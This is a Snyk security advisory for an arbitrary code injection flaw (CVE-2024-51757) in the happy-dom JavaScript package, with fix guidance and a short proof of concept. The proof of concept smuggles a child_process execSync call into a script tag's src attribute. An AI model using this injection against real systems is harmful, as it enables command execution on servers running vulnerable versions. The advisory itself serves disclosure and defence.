Arbitrary Code Injection Affecting happy-dom package, versions <15.10.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-HAPPYDOM-8350065
  • published7 Nov 2024
  • disclosed6 Nov 2024
  • creditkevin-mizu

Introduced: 6 Nov 2024

CVE-2024-51757  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade happy-dom to version 15.10.2 or higher.

Overview

happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the SyncFetchScriptBuilder class due to improper input sanitization. An attacker can exploit this vulnerability by passing malicious content into the src attribute of the <script> tag.

PoC

const { Window } = require("happy-dom");

const window = new Window();
const document = window.document;
    
document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);

CVSS Scores

version 4.0
version 3.1